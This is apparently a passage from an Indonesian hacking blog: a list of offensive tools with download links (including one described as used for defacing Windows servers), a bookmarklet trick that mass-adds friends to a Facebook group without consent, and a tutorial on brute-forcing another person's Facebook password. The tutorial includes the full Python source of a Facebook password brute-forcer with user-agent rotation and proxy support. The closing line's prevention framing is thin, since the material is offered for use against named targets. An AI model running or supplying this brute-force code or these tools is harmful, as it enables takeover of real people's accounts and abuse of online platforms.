6. DIR BUSTER: Merupakan tools untuk mencari nama directory dan nama file yang ada di website, tools ini sangat bermanfaat untuk mengetahui informasi halaman apa saja yang ada di website target.

DOWNLOAD DIR BUSTER LINUX & DOWNLOAD DIR BUSTER WINDOWS
7. WINAUTOPWN: Merupakan sebuah tools yang digunakan untuk mengexploitasi secara langsung Windows Framework, sehingga secara otomatis kita yang akan menjadi administrator di windows tersebut. Banyak digunakan oleh “Defacer” Indonesia untuk melakukan deface terhadap Windows Server

DOWNLOAD WINAUTOPWN MIRROR 1 atau WINDOWS AUTOPWN MIRROR 2
8. Multi Thread TCP Port Scanner: Tools untuk melakukan scanning port yang sedang digunakan dengan multi threading, sehingga bisa berbagai IP & Port yang bisa anda check.

DOWNLOAD MT-TCP-SCAN
9. NetworkMiner: Merupakan tools untuk melakukan analysis network forensik untuk Windows, banyak di gunakan untuk mengawasi lalu lintas network.

DOWNLOAD NETWORK MINER
10. RAR Password Cracker: Kebanyakan digunakan untuk melakukan crack terhadap RAR yang di password.

DOWNLOAD RAR PASSWORD CRACKER
Semoga bermanfaat all..

Cara Membuat Anggota Grup Beribu-Ribu Dalam Sekali Klik

Kali ini saya akan membahas bagaimana cara menambah anggota grup sampai beribu ribu dalam satu klik

Caranya adalah :

  << Gambar 1

Tarik dan letakkan gambar 1 di atas ke Bookmark Bar [Tambahkan] Caranya:

Berikut Videonya
Untuk Lebih Rinci Lihat Videonya

*Wajib Menggunakan Mozzila

* Bila Belum punya bisa download disini
* Pastikan Bookmark Bar terlihat. Jika belum terlihat klik kanan diatas yang paling atas mozilla terus centang ✔ "Bookmarks Toolbars". Ini akan membuat Bookmarks Toolbar terlihat 'Tarik dan letakkan' gambar ke bookmark bar. Ini akan membuat bookmark baru "[Tambahkan]" di bookmark bar.
* Masuk ke Facebook 
* Masuk GRUP lalu klik bookmark [Tambahkan]. Ini akan menambahkan semua teman anda hanya dengan sekali klik

* Tunggu Sampai Angka yang keluar berhenti
contoh : 3500/3500

<< Gambar 2

*Untuk uji coba anda bisa memakai grup saya,klik gambar.2 di atas untuk menuju grup saya.

Hack Facebook Dengan Metode Bruteforce

PERTAMA:
Cara hack facebook dengan metode ini adalah cara paling bodoh untuk membobol facebook dan biasanya paling terakhir digunakan, karena membutuhkan waktu yang tidak singkat. metode hacking facebook dengan cara ini adalah dengan menggunakan software bruteforce untuk menebak-nebak password facebook sebuah akun dari sebuah file dictionary / kamus atau juga character generator. cara mencegah hack facebook dengan metode ini adalah dengan melindungi alamat email yang anda gunakan untuk login facebook, caranya bisa bermacam-macam, anda bisa memisah antara email untuk umum dan email untuk login facebook dan tidak menampilkannya di halam profil facebook anda.
KEDUA:

Postingan tentang hacking facebook ini gue copas aja dari situs jasakom.com :

Facebook, ? iya sapa yg tidak kenal dengan situs jejaring sosial ini. Ga punya account tetapi setidaknya pernah dengar nama ini bukan ).

Jejaring Sosial ini mungkin salah satu fenomena di beberapa tahun belakangan ini setelah pendahulunya friendster. Nah sebagai situs pertemanan, situs jejaring sosial ini tidak luput dari ke isengan tangan2 jahil, motifnya pun beragam, mulai dari isengin pemiliknya, revenge, sakit hati, dan yg paling parah adalah karena dengan motif buat nyari CHIPS POKER (nah lo, ngaku aja lo pada )
Implementasi Facebook Hacking Dengan Brute Force

Berbagai teknik telah banyak beredar di kalangan underground, teknik nya pun beragam, mulai dari teknik phising (fake login ), maupun keylogger hanya dengan tujuan untuk mendapatkan account pribadi targetnya.

ok, cukup basa basinya rel…..to the point aja deh

sebelumnya kita musti bikin persiapan dolo, ibarat mo perang senjata harus lengkap ….

yg musti disiapin sebagai berikut

1. Musti punya server atau hosting (gratis/ bayar) buat upload and nyimpen script 2 berikut.

• Facebook BruteForce Script

• Simple Dictionary Attack

Nah, file itu adalah file utama yg harus disimpan ke dalam hostingan

2. Buat Dictionary Attack bisa qmu bikin tambah dan edit sendiri dari wordlist Dictionary ataw mungkin bisa cari yg lebih lengkap.

OK, persiapan telah selesai….saatnya ke medan perang……ga deng, maksudnya kita akan melakukan testing.

disini saya asumsikan lo pada udah punya hosting buat tempat naroh file-file tadi.

klo ga tau cara bikin hosting silahkan tanya ke google yah )

1.pada source code Facebook Dictionary attacknya kita edit dolo sebelom di upload

set_time_limit(0);

kita ubah time limitnya menjadi gede misalnya 500 dan ini dalam hitungan detik hingga code itu menjadi

set_time_limit(500);

2.

$username =”brute@force.org”;

// username korban misalnya target@bego.com hingga pada code menjadi

$username =”target@bego.com”;

3.

$dictionary =”dictionary.txt”;

adalah tempat dictionary attack kita. biasanya diletakkan dalam satu directory

Setelah Semuanya di Edit, upload ke Hostingan yg kamu punya, misalkan saya punya Hosting (orang) yg saya pakai untuk contoh ini saya upload ke dalam satu directory bernama fb.

Nah setelah kedua file tersebut sukses di upload dalam 1 direktory

setelah sukses, skr tinggal eksekusi tuh via eb address.

misalkan lo nyimpen di direktory /home/xxx.com/images/ maka eksekusi aja di http://xxx.com/images/

jika di eksekusi maka script akan mencoba membruteforce account milik target lo.

Jika dah selesai , maka log hasil bruteforce tadi akan tersimpan dengan nama cookie.txt. pada direktory yg sama . silahkan di analisa hasilnya….

And last word, thanks for you attention if u read a simple tutorial.

KETIGA:

Silakan download FbBruteforce:
Berikut Codenya:

#!/usr/bin/python

# This is facebook bruteforcer tools

# This was written for educational purpose and pentest only. Use it at your own risk.

# Author will not be responsible for any damage !!

# Toolname : facebookbruteforcer.py

# Programmer : Gunslinger_

# Version : 1.0

# Date : Tue Jul 27 13:24:44 WIT 2010

# Special thanks to mywisdom to inspire me

import re

import os

import sys

import random

import warnings

import time

try:

import mechanize

except ImportError:

print "[*] Please install mechanize python module first"

sys.exit(1)

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

sys.exit(1)

try:

import cookielib

except ImportError:

print "[*] Please install cookielib python module first"

sys.exit(1)

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

sys.exit(1)

warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)

# define variable

__programmer__ = "gunslinger_ "

__version__ = "1.0"

verbose = False

useproxy = False

usepassproxy = False

log = 'fbbruteforcer.log'

file = open(log, "a")

success = 'http://www.facebook.com/?sk=messages&ref=mb'

fblogin = 'https://login.facebook.com/login.php?login_attempt=1'

# some cheating ..

ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',

'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',

'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',

'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',

'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',

'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',

'Microsoft Internet Explorer/4.0b1 (Windows 95)',

'Opera/8.00 (Windows NT 5.1; U; en)',

'amaya/9.51 libwww/5.4.0',

'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',

'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',

'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',

'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',

'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',

'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'

]

facebook = '''

__ _ _

/ _| | | | |

| |_ __ _ ___ ___| |__ ___ ___ | | __

| _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /

| || (_| | (_| __/ |_) | (_) | (_) | <

|_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\

bruteforcer...

Programmer : %s

Version : %s''' % (__programmer__, __version__)

option = '''

Usage : %s [options]

Option : -u, --username | User for bruteforcing

-w, --wordlist | Wordlist used for bruteforcing

-v, --verbose | Set %s will be verbose

-p, --proxy | Set http proxy will be use

-k, --usernameproxy | Set username at proxy will be use

-i, --passproxy | Set password at proxy will be use

-l, --log | Specify output filename (default : fbbruteforcer.log)

-h, --help | Print this help

Example : %s -u brad@hackme.com -w wordlist.txt"

P.S : add "&" to run in the background

''' % (sys.argv[0], sys.argv[0], sys.argv[0])

hme = '''

Usage : %s [option]

-h or --help for get help

''' % sys.argv[0]

def helpme():

print facebook

print option

file.write(facebook)

file.write(option)

sys.exit(1)

def helpmee():

print facebook

print hme

file.write(facebook)

file.write(hme)

sys.exit(1)

for arg in sys.argv:

try:

if arg.lower() == '-u' or arg.lower() == '--user':

username = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-w' or arg.lower() == '--wordlist':

wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-l' or arg.lower() == '--log':

log = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-p' or arg.lower() == '--proxy':

useproxy = True

proxy = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-k' or arg.lower() == '--userproxy':

usepassproxy = True

usw = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-i' or arg.lower() == '--passproxy':

usepassproxy = True

usp = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == '-v' or arg.lower() == '--verbose':

verbose = True

elif arg.lower() == '-h' or arg.lower() == '--help':

helpme()

elif len(sys.argv) <= 1:

helpmee()

except IOError:

helpme()

except NameError:

helpme()

except IndexError:

helpme()

def bruteforce(word):

try:

sys.stdout.write("\r[*] Trying %s... " % word)

file.write("[*] Trying %s\n" % word)

sys.stdout.flush()

br.addheaders = [('User-agent', random.choice(ouruseragent))]

opensite = br.open(fblogin)

br.select_form(nr=0)

br.form['email'] = username

br.form['pass'] = word

br.submit()

response = br.response().read()

if verbose:

print response

if success in response:

print "\n\n[*] Logging in success..."

print "[*] Username : %s" % (username)

print "[*] Password : %s\n" % (word)

file.write("\n[*] Logging in success...")

file.write("\n[*] Username : %s" % (username))

file.write("\n[*] Password : %s\n\n" % (word))

sys.exit(1)

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

sys.exit(1)

except mechanize._mechanize.FormNotFoundError:

print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"

file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")

sys.exit(1)

except mechanize._form.ControlNotFoundError:

print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"

file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")

sys.exit(1)

def releaser():

global word

for word in words:

bruteforce(word.replace("\n",""))

def main():

global br

global words

try:

br = mechanize.Browser()

cj = cookielib.LWPCookieJar()

br.set_cookiejar(cj)

br.set_handle_equiv(True)

br.set_handle_gzip(True)

br.set_handle_redirect(True)

br.set_handle_referer(True)

br.set_handle_robots(False)

br.set_debug_http(False)

br.set_debug_redirects(False)

br.set_debug_redirects(False)

br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)

if useproxy:

br.set_proxies({"http": proxy})

if usepassproxy:

br.add_proxy_password(usw, usp)

if verbose:

br.set_debug_http(True)

br.set_debug_redirects(True)

br.set_debug_redirects(True)

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

file.write("\n[*] Exiting program...\n")

sys.exit(1)

try:

preventstrokes = open(wordlist, "r")

words = preventstrokes.readlines()

count = 0

while count < len(words):

words[count] = words[count].strip()

count += 1

except IOError:

print "\n[*] Error: Check your wordlist path\n"

file.write("\n[*] Error: Check your wordlist path\n")

sys.exit(1)

except NameError:

helpme()

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

file.write("\n[*] Exiting program...\n")

sys.exit(1)

try:

print facebook

print "\n[*] Starting attack at %s" % time.strftime("%X")

print "[*] Account for bruteforcing %s" % (username)

print "[*] Loaded :",len(words),"words"

print "[*] Bruteforcing, please wait..."

file.write(facebook)

file.write("\n[*] Starting attack at %s" % time.strftime("%X"))

file.write("\n[*] Account for bruteforcing %s" % (username))

file.write("\n[*] Loaded : %d words" % int(len(words)))

file.write("\n[*] Bruteforcing, please wait...\n")

except KeyboardInterrupt:

print "\n[*] Exiting program...\n"

sys.exit(1)

try:

releaser()

bruteforce(word)

except NameError:

helpme()

if __name__ == '__main__':

main()

Nah, dari beberapa cara hack facebook dan pencegahannya di atas semoga anda lebih berhati-hati, untuk lebih detail mengenai tiap metode atau cara yang saya sebutkan di atas akan saya bahas di postingan saya yang selanjutnya, semoga

bermanfaat dan semoga akun facebook anda tidak kena hack